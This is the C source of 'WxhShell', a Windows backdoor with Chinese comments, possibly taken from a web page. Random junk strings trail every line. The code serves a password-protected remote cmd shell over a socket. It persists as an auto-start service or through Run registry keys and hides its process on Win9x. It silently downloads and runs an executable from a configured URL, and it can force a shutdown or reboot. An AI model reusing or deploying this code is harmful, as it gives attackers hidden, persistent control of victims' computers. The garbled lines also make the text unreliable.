    if(Boot(SHUTDOWN)) F qJ`d2E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G T~rr*X  
    else { qVh?%c1.Y  
    closesocket(wsh); #MY oy7=  
    ExitThread(0); r#WqXh_uk  
    } gN}$$vS  
    break; O h e^{:  
    } h.?<( I  
  // 获取shell \Yj_U'2"i  
  case 's': { HB p??.r  
    CmdShell(wsh); Ia%cc L=  
    closesocket(wsh); y" H5>  
    ExitThread(0); q2xAx1R`sV  
    break; 2`Bb9&ut>  
  } P6%qNR/ x  
  // 退出 imADjBR]  
  case 'x': { N=u( 3So  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d1#lC*.Sg  
    CloseIt(wsh); YN)qMI_ `A  
    break; cl`kd)"v  
    } 1;m?:|6K{  
  // 离开 t~qSiHw  
  case 'q': { yE N3/-S+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 15_"U+O(/  
    closesocket(wsh); WS&a9!3;  
    WSACleanup(); %ly&~&0  
    exit(1); !]R>D{""  
    break; EiD41N  
        } MA{ZmPm)  
  } F+G+XtOS  
  } elM<S3  
sz%]rN6$  
  // 提示信息 nd\$Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s-6$C  
} !*DY dqQ/  
  } QX?moW6UW  
SIM> Lz  
  return; KY2z)#/  
} bfb9A+]3'  
nIOSP :'>  
// shell模块句柄 vx$DKQK@l\  
int CmdShell(SOCKET sock) Jl\U~i  
{ NHU5JSlB  
STARTUPINFO si; ENA"T-p  
ZeroMemory(&si,sizeof(si)); [fwk[qFa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; guCCu2OTA%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sOz {spA  
PROCESS_INFORMATION ProcessInfo; 1e9~):C~W  
char cmdline[]="cmd"; 3 q8S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eF0FQlMe[  
  return 0; D @wIbU  
} |d\1xTBLp  
}]1C=~lC  
// 自身启动模式 HOPl0fY$L  
int StartFromService(void) [g@Uc  
{ RHd no C  
typedef struct B)d 4]]4\\  
{ d=\TC'd"{  
  DWORD ExitStatus; am 'K$s  
  DWORD PebBaseAddress; 1#|lt\T  
  DWORD AffinityMask; ~md06"AYJ  
  DWORD BasePriority; 6 %`h2Z  
  ULONG UniqueProcessId; 0}` -<(  
  ULONG InheritedFromUniqueProcessId; ^\S~rW.3_  
}   PROCESS_BASIC_INFORMATION; mWP&N#vwh  
Y#P!<Q>}  
PROCNTQSIP NtQueryInformationProcess; Q"!GdKM  
0e:j=kd)NH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J`; 9Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1JOoIC jB  
aU.!+e%_  
  HANDLE             hProcess; 0XC3O 8q  
  PROCESS_BASIC_INFORMATION pbi; re4z>O*  
(B*,|D[J@i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zII^Ny8D  
  if(NULL == hInst ) return 0; [tC=P&<  
))X"bFP!3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3 l j^I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZBH^0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wSZMHIW  
~XXNzz ]?  
  if (!NtQueryInformationProcess) return 0; z X+i2,  
0=9$k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X_3hh}=  
  if(!hProcess) return 0; GUJ?6;  
E KJ2P$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pI_:3D xe  
^%\MOjSN  
  CloseHandle(hProcess); w%oa={x  
Lv)1 )'v0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D deKZ)8  
if(hProcess==NULL) return 0; =<TJ[,h et  
#op0|:/N  
HMODULE hMod; QM~~b=P,\  
char procName[255]; cQ`0d3  
unsigned long cbNeeded; ra@CouR^c{  
& \C1QkI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pUu<0a^  
aM_O0Rn==  
  CloseHandle(hProcess); SUvrOl   
[{>1wJ Pdj  
if(strstr(procName,"services")) return 1; // 以服务启动 Zv8GrkK  
/z}b1m+  
  return 0; // 注册表启动 z${[Z=  
} >$a;+v  
fMM%,/b{  
// 主模块 Q^xk]~G$(  
int StartWxhshell(LPSTR lpCmdLine) \W\*'C8q\  
{ ?jvuTS2  
  SOCKET wsl; Q/h-Kh mz  
BOOL val=TRUE; :FmH=pI!=  
  int port=0; /*M3Ns1@2  
  struct sockaddr_in door; Jy('tfAHp  
p3T:Y_  
  if(wscfg.ws_autoins) Install(); *|@386\  
Qte%<POx+  
port=atoi(lpCmdLine); =u.23#.  
43O5|8o  
if(port<=0) port=wscfg.ws_port; O{U j  
Krl9O]H/[  
  WSADATA data; p|BoEITL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cHOC>|  
i;29*"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vWa\8yf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &$l#0?Kc^  
  door.sin_family = AF_INET; > +00[T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 59+KOQul6  
  door.sin_port = htons(port); N\rL ~4/  
M0 KU}h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {9^p3Q+:P  
closesocket(wsl); #ZP;] W  
return 1; Jz P0D'  
} f=S2O_Ee  
} .<(L  
  if(listen(wsl,2) == INVALID_SOCKET) { VC% .u.< F  
closesocket(wsl); K5jeazasp  
return 1; Ap4.c8f?Q-  
} }u{gQlV  
  Wxhshell(wsl); lXzm)  
  WSACleanup(); S.<4t*,  
sc6NON#  
return 0; :AI%{EV-L  
'G>9iw  
} a(ml#-M  
%}XyzGq{  
// 以NT服务方式启动 ?zbWz=nq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :3b02}b7  
{ Ed2A\S6tl  
DWORD   status = 0; 5OX[)Li  
  DWORD   specificError = 0xfffffff; GS}JyU  
M.:JT31>1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >VX'`5r>uw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a#& ( i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gFT lP  
  serviceStatus.dwWin32ExitCode     = 0; ED>a'y$f  
  serviceStatus.dwServiceSpecificExitCode = 0; 5}Xi`'g,  
  serviceStatus.dwCheckPoint       = 0; ]]3rSXs2}J  
  serviceStatus.dwWaitHint       = 0; LIQ].VxIs  
Zj1bG{G=i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gU NWM^n  
  if (hServiceStatusHandle==0) return; g x?r8  
t V>qV\>  
status = GetLastError(); -|>T? t'K  
  if (status!=NO_ERROR) %O<8H7e)V  
{ G#^0Bh&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  5sN6&'[  
    serviceStatus.dwCheckPoint       = 0; Mw)6,O`  
    serviceStatus.dwWaitHint       = 0; $ ]#WC\Hv  
    serviceStatus.dwWin32ExitCode     = status; bovAFdHW  
    serviceStatus.dwServiceSpecificExitCode = specificError; cO 5zg<wF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !\9^|Ef?  
    return; zNdkwj p+  
  } 4v3gpLH  
v\@RwtP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7')W+`o8eL  
  serviceStatus.dwCheckPoint       = 0; X{OWDy  
  serviceStatus.dwWaitHint       = 0; 0y?;o*&U\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /]MelW  
} k+ w Ji  
Gn_DIFa  
// 处理NT服务事件,比如:启动、停止 ( N};.DB1Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w^$C\bCbh  
{ "J=Cy@SSa  
switch(fdwControl) .kn2M&P>=  
{ +A)> zx  
case SERVICE_CONTROL_STOP: TjYHoL5  
  serviceStatus.dwWin32ExitCode = 0; a !%,2|U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x\8|A  
  serviceStatus.dwCheckPoint   = 0; ?+^p$'5  
  serviceStatus.dwWaitHint     = 0; kLZVTVSJt  
  { $sE=[j'v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WKlyOK=}  
  } ?4Rd4sIM$u  
  return; qqf*g=f  
case SERVICE_CONTROL_PAUSE: r]Wt!oHm5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :Ev gUA\4  
  break; Br 7q.  
case SERVICE_CONTROL_CONTINUE: , f$P[c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L\:m)g,F.  
  break; ce}A!v  
case SERVICE_CONTROL_INTERROGATE: fs&$?mHL){  
  break; x5BS|3W$a  
}; #X?[")R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )`f-qTe  
} bS r"k  
1p$(\  
// 标准应用程序主函数 YZ4`b-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n9}BT^4 v  
{ @:GqOTN  
,v>;/qm  
// 获取操作系统版本 M-Efe_VRQc  
OsIsNt=GetOsVer(); a'?;;ZC-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >{tn2Fkg>  
~1wt=Ln>  
  // 从命令行安装 0P9\;!Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); fI<LxU_n:  
;'8P/a$  
  // 下载执行文件 uH%b rbrU  
if(wscfg.ws_downexe) { x"e;T,c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {/,(F^T>2  
  WinExec(wscfg.ws_filenam,SW_HIDE); \]]K{DO  
} ^]R_t@  
B?=R= p  
if(!OsIsNt) { "I/05k K  
// 如果时win9x,隐藏进程并且设置为注册表启动 f^B8!EY#:  
HideProc(); Jj>Rzj!m  
StartWxhshell(lpCmdLine); Y^!qeY  
} PKrG6% W+  
else *pa hZiO  
  if(StartFromService()) q| 1%G Nb  
  // 以服务方式启动 I!*P' {lh  
  StartServiceCtrlDispatcher(DispatchTable); 04Zdg:[3-!  
else |nx3x  
  // 普通方式启动 7CH&n4v  
  StartWxhshell(lpCmdLine); #C&';HB;y  
8fP2qj0  
return 0; t;w<n"  
} ";rXCH.  
,W)DQwAg  
q< q IT  
B.5+!z&7  
=========================================== yO)xN=o^\  
L.'61ZU  
 YFm%W@  
uE')<fVX(  
GuR^L@+ -.  
T"vf   
" 1*hEbO  
S}JOS}\^j  
#include <stdio.h> Pq [_(Nt  
#include <string.h> v3Vve:}+  
#include <windows.h> Ct)58f2  
#include <winsock2.h> 90W= v*  
#include <winsvc.h> ]Wkgpfd56  
#include <urlmon.h> D2&d",%&f  
R %RbC!P  
#pragma comment (lib, "Ws2_32.lib") aJ(/r.1G  
#pragma comment (lib, "urlmon.lib") {UP[iw$~  
c<|y/n  
#define MAX_USER   100 // 最大客户端连接数 Ak@!F6~  
#define BUF_SOCK   200 // sock buffer rt*x[5<  
#define KEY_BUFF   255 // 输入 buffer rk1,LsZVS  
Li5&^RAo|J  
#define REBOOT     0   // 重启 R*:$^v@4  
#define SHUTDOWN   1   // 关机 eWAD;x?.  
r=n{3o+  
#define DEF_PORT   5000 // 监听端口 wx3_?8z/O  
*G.vY#h  
#define REG_LEN     16   // 注册表键长度 >(a35 b$  
#define SVC_LEN     80   // NT服务名长度 p}!i_P  
w~6UOA8}  
// 从dll定义API doL-G?8B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T)I)r239h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !2!Zhw2u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Bz }nP9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0}<blU  
jyIIE7.I"  
// wxhshell配置信息 fU|v[  
struct WSCFG { 9DA |;|  
  int ws_port;         // 监听端口 =|i_T%a  
  char ws_passstr[REG_LEN]; // 口令 P  y v>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0`S{>G  
  char ws_regname[REG_LEN]; // 注册表键名 (y]Z*p:EW  
  char ws_svcname[REG_LEN]; // 服务名 nIg 88*6b,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fPD.np}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "YI,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L/jaUt[,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Im~DK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1=J& ^O{W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &YY`XEG59O  
4:rwzRDY  
}; ~o_JZ:  
>Gpq{Ph[  
// default Wxhshell configuration x,mt}>  
struct WSCFG wscfg={DEF_PORT, 4E.9CjN1>  
    "xuhuanlingzhe", 5c::U=  
    1, BmV `<Q,  
    "Wxhshell", b_TI_  
    "Wxhshell", =?C <@  
            "WxhShell Service", ~b]enG5xS4  
    "Wrsky Windows CmdShell Service", 6,YoP|@0  
    "Please Input Your Password: ", 3/]1m9x  
  1, FQO=}0Hl  
  "http://www.wrsky.com/wxhshell.exe", #@DJf  
  "Wxhshell.exe" eXKEx4rU  
    }; Chnt)N`/B4  
-OJ<Lf+"=  
// 消息定义模块 dGk"`/@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rr [_t FM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :7LA/j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %/I:r7UR{  
char *msg_ws_ext="\n\rExit."; :dW\Q&iW  
char *msg_ws_end="\n\rQuit."; i_N8)Z;r  
char *msg_ws_boot="\n\rReboot..."; `W1uU=c  
char *msg_ws_poff="\n\rShutdown..."; ;wMu  
char *msg_ws_down="\n\rSave to "; |1_$\k9Y&  
t,De/L  
char *msg_ws_err="\n\rErr!"; |*t2IVwX  
char *msg_ws_ok="\n\rOK!"; r2#G|/=@  
v`K%dBa  
char ExeFile[MAX_PATH]; [4#HuO@h  
int nUser = 0; :N<Qk  
HANDLE handles[MAX_USER]; !T<,fR+8X  
int OsIsNt; 4)e1K/PJ)  
9BZ B1o X  
SERVICE_STATUS       serviceStatus; ;MGm,F,o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2 %fcDEG/  
z&H.fsL  
// 函数声明 yn!;Z ._  
int Install(void); *e [*  
int Uninstall(void); XdA]);,  
int DownloadFile(char *sURL, SOCKET wsh); ng+sK  
int Boot(int flag); bxYSZCo*  
void HideProc(void); CP\[9#]:  
int GetOsVer(void); H^kOwmSzh  
int Wxhshell(SOCKET wsl); <b"^\]l  
void TalkWithClient(void *cs); * ;sz/.  
int CmdShell(SOCKET sock); Io<T'K  
int StartFromService(void); pBe1:  
int StartWxhshell(LPSTR lpCmdLine); fUf 1G{4  
95IP_1}?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1p~ORQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {wM<i  
3M?O(oO  
// 数据结构和表定义 yg8= G vO  
SERVICE_TABLE_ENTRY DispatchTable[] = n eu<zSS  
{ JZ`u?ZaJ/s  
{wscfg.ws_svcname, NTServiceMain}, HgW!Q(*  
{NULL, NULL} H2|'JA#v  
}; OMk3\FV2Z  
zf)*W#+  
// 自我安装 >k\p%{P  
int Install(void) T\Xf0|y  
{ $hCS-9%&  
  char svExeFile[MAX_PATH]; +fY@q ,`  
  HKEY key; hwUb(pZ  
  strcpy(svExeFile,ExeFile); f {2UL ?y  
BYdG K@ouk  
// 如果是win9x系统,修改注册表设为自启动 h{"SV*Xpk/  
if(!OsIsNt) { o% Q7 el$f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A?04,l]y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PdVY tK%  
  RegCloseKey(key); Ndl{f=sjX-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .s"Og;g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lFf>z}eLy  
  RegCloseKey(key); ?4wl  
  return 0; ';\norx;  
    } whe%o  
  } bHm/ZZx  
} A- m IWTa  
else { 2V;{@k  
bbS,pid1  
// 如果是NT以上系统,安装为系统服务 ,)U%6=o#}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?/T=G k  
if (schSCManager!=0) fz VN;h  
{ S=kO9"RB]  
  SC_HANDLE schService = CreateService Ha]vG@?+  
  ( r2tE!gMC  
  schSCManager, wbr$w>n  
  wscfg.ws_svcname, cV1E<CM  
  wscfg.ws_svcdisp, %OHWGac"i  
  SERVICE_ALL_ACCESS, \;_tXb}F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pk'd& .  
  SERVICE_AUTO_START, #a@jt  
  SERVICE_ERROR_NORMAL, cGo_qR/B(>  
  svExeFile, Ui"$A/  
  NULL, :{S@KsPqE  
  NULL, ^^ SMr l  
  NULL, 6)=;cc{Vr  
  NULL, *C|*{!  
  NULL jR:\D_:  
  ); `=V1w4J  
  if (schService!=0) ;B2&#kot7  
  { fUis_?!  
  CloseServiceHandle(schService); -;6uN\gq  
  CloseServiceHandle(schSCManager); \I6F;G6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "ivVIq2  
  strcat(svExeFile,wscfg.ws_svcname); ;D-k\kv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZvXw#0)v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;[Xf@xf  
  RegCloseKey(key); B k\K G  
  return 0; L{;Q6_m  
    } h(~of (  
  } :qR8 e J  
  CloseServiceHandle(schSCManager); |FaK =e  
} YsiH=x  
} J^DyhCs  
? YIe<  
return 1; *yZta:(w-W  
} v^t oe  
3 AP=  
// 自我卸载 i*4v!(E  
int Uninstall(void) mo4F\$2N  
{ cw0 @Z0  
  HKEY key; ^I6Vz?0Jl  
(?7}\B\  
if(!OsIsNt) { FW3E UC)P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3*7klu  
  RegDeleteValue(key,wscfg.ws_regname); U"UsQYa_  
  RegCloseKey(key); m,6u+Z ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y)(w&E>1  
  RegDeleteValue(key,wscfg.ws_regname); .DnG}884  
  RegCloseKey(key); 6&LmR75C  
  return 0; 0&kmP '  
  } [z_z tK1  
} ?mVSc/  
} 2}.~ 6EU/  
else { 8U]mr+  
<?;KF2A({  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _D+J3d(Pjk  
if (schSCManager!=0) ?caHS2%?ae  
{ tk 5 p@l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l8%BRG  
  if (schService!=0) gCL}Ba  
  { weGsjy(b]N  
  if(DeleteService(schService)!=0) { BG 4TUt  
  CloseServiceHandle(schService); B'y)bY'_dS  
  CloseServiceHandle(schSCManager); M3d%$q)<rW  
  return 0; ZRr.kN+F  
  } 8{&.[S C7  
  CloseServiceHandle(schService); bVZA f  
  } va#].4_  
  CloseServiceHandle(schSCManager); 2>CR]  
} BoARM{m  
} F,mStw:  
ET*:iioP  
return 1; r0\C2g_X  
} (2 hI  
-" r4  
// 从指定url下载文件 -Vmp6XY3q  
int DownloadFile(char *sURL, SOCKET wsh) cxPOO#  
{ :yw(Co]f  
  HRESULT hr; d7Cs a c  
char seps[]= "/"; UQb|J9HY4  
char *token; v(uNqX.BC  
char *file; `Xi)';p  
char myURL[MAX_PATH]; t`eIkq|NxI  
char myFILE[MAX_PATH]; %_39Wa  
':=20V  
strcpy(myURL,sURL); YQ1rS X3  
  token=strtok(myURL,seps); ).tTDZ   
  while(token!=NULL) Cs vwc%  
  { p7.~k1h  
    file=token; ?cK67|%W  
  token=strtok(NULL,seps); G}dq ft5"  
  } \SJX;7 ST  
,RAP_I!_x  
GetCurrentDirectory(MAX_PATH,myFILE); 2c*}1 _  
strcat(myFILE, "\\"); A=D G+z''  
strcat(myFILE, file); I q{/-,v  
  send(wsh,myFILE,strlen(myFILE),0); kFfNDM#D  
send(wsh,"...",3,0); aCfWbJ@qiG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4dI`  
  if(hr==S_OK) +5:9?&lH  
return 0; ,nUovWN07  
else 2UBAk')O}  
return 1; A#F6~QX(.9  
4Le{|B  
} a\p`J9Z@  
b: I0Zv6  
// 系统电源模块 0^d<@\  
int Boot(int flag) zUWWXC%R  
{ <yw=+hz[u  
  HANDLE hToken; *M$$%G(4  
  TOKEN_PRIVILEGES tkp; T IyHM1+  
>5t]Zlb`  
  if(OsIsNt) { E6?0/"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3Z}KRsp3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "2"2qZ*h}  
    tkp.PrivilegeCount = 1; w:~vfdJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s}4k^NGFJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r;"Qu  
if(flag==REBOOT) { dZC jg0cx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :4Y 5  
  return 0; ?nM]eUAP  
} OHH\sA  
else { - G=doP0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,Mn`kL<F  
  return 0;  qt. =  
} Ed#Hilk'  
  } "~08<+  
  else { / !hxW}>^  
if(flag==REBOOT) { LiEDTXRz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 87R$Y> V  
  return 0; c <X( S  
} X9YbTN  
else { b C"rQJg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V~QOl=`K:  
  return 0; A-u}&}l<  
} 9*(uJA  
} Mw6 Mt  
ql_,U8Jw  
return 1; "l(<<Ha/  
} `bNLmTS  
R`%O=S*]  
// win9x进程隐藏模块 jq(rnbV  
void HideProc(void) r <$"T  
{ T ?{F7  
LUA<N:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R1Q~UX]d=  
  if ( hKernel != NULL ) 7fW$jiw  
  { v2vtkYQN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4`:Eiik&p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *>jJ<8!  
    FreeLibrary(hKernel); YF)c.Q0  
  } `Oe}OSxnT  
YS>VQl  
return; ,'@t .XP  
} 4z^VwKH\j  
j"vL$h  
// 获取操作系统版本 c,5yH  
int GetOsVer(void) 'c$)}R I7  
{ *,Sa*-7(  
  OSVERSIONINFO winfo; FivqyT7i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LC0g"{M  
  GetVersionEx(&winfo); 0G8zFe*p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  SB^xq  
  return 1; >8gb/?z  
  else 69zMWuY  
  return 0; i5czm?x  
}  9 -Xr  
o#V{mm,{Pm  
// 客户端句柄模块 ;2547b[ ]  
int Wxhshell(SOCKET wsl) ^x}k1F3  
{ [f`7+RHrd  
  SOCKET wsh; Tuy5h 5  
  struct sockaddr_in client; :Mq{ES%  
  DWORD myID; xDn#=%~+x  
R(GL{Dh}L  
  while(nUser<MAX_USER) OsgjSJrf  
{ 6f;20dn 6  
  int nSize=sizeof(client); ~lr,}K,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =L, 7~9  
  if(wsh==INVALID_SOCKET) return 1; 'A'[N :i  
qyR}|<F8*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d{(NeTs  
if(handles[nUser]==0) Z \;{e'#o  
  closesocket(wsh); }} zY]A  
else e^orqw/I  
  nUser++; azl!#%  
  } Z4D[nPm$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i: VMC NH  
4&G #Bi  
  return 0; |6b&khAM  
} jL:GP}I=  
4.q^r]m*  
// 关闭 socket ]eo%eaA   
void CloseIt(SOCKET wsh) ;AJ6I*O@+  
{ b}Xh|0`b+  
closesocket(wsh); 6sNw#pqh  
nUser--; uMK8V_p*?  
ExitThread(0); ria.MCe\!  
} B$_-1^L e  
@ [%K D  
// 客户端请求句柄 !iU$-/,1e  
void TalkWithClient(void *cs) NPLJ*uHH  
{ #:tC^7qk  
FR6 PY  
  SOCKET wsh=(SOCKET)cs; h<bCm`qj  
  char pwd[SVC_LEN]; 3% O[W  
  char cmd[KEY_BUFF]; \n^;r|J7k  
char chr[1]; YGOhUT |  
int i,j; W@Rb"5Gy+  
x,TnYqT^  
  while (nUser < MAX_USER) { TPNKvv!s  
-b=A j8h  
if(wscfg.ws_passstr) { %g~zE a-g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?{wD%58^oG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W'R^GIHs  
  //ZeroMemory(pwd,KEY_BUFF); __`6 W1  
      i=0; G$;cA:p-j  
  while(i<SVC_LEN) { Qn)AS1pL+  
^n*:zmD  
  // 设置超时 05o<fa2HE  
  fd_set FdRead; cueaOtD  
  struct timeval TimeOut; +nL#c{  
  FD_ZERO(&FdRead); M[ ON2P;  
  FD_SET(wsh,&FdRead); Hh* KcIRX  
  TimeOut.tv_sec=8; 4++pK;I  
  TimeOut.tv_usec=0; > O~   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HSEz20s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5TLE%#G@+  
"b\@.7".  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e//jd&G  
  pwd=chr[0]; u=7 #_ZC9L  
  if(chr[0]==0xd || chr[0]==0xa) { F[>Y8e<[  
  pwd=0;  ?Zc(Zy6  
  break; eQ<Vky^SJ  
  } J>1%* Tz  
  i++; p;~oIy\,  
    } XC4wm#R  
+NVXFjPC  
  // 如果是非法用户,关闭 socket a&u!KAQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,@\z{}~v  
} 1,+swFSN  
=ba1::18  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'l_F@ZO{(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?nZe.z-%6  
NKl`IiGv  
while(1) { #x \YA#~  
Cng_*\=O  
  ZeroMemory(cmd,KEY_BUFF); aI 1tG  
gObafIA  
      // 自动支持客户端 telnet标准   Xq}}T%jcd  
  j=0;  2.'hr/.  
  while(j<KEY_BUFF) { Y~@(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vz evOS  
  cmd[j]=chr[0]; k}!'@  
  if(chr[0]==0xa || chr[0]==0xd) { M"6J"s  
  cmd[j]=0; eo^C[# .  
  break; 6VLo4bq 5  
  } Ok<,_yh  
  j++; 25<qo{  
    } ~RV"_8`V9  
`cPZsL  
  // 下载文件 ,\N4tG1\  
  if(strstr(cmd,"http://")) { B qLL]%F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1C0' Gf)3  
  if(DownloadFile(cmd,wsh)) &joP-!"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]~ !CJ8d  
  else r 5t{I2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tToP7q^  
  } uzh TNf  
  else { TeFi[1  
4j(`koX_  
    switch(cmd[0]) { Wl }J=  
  wCu!dxT|,  
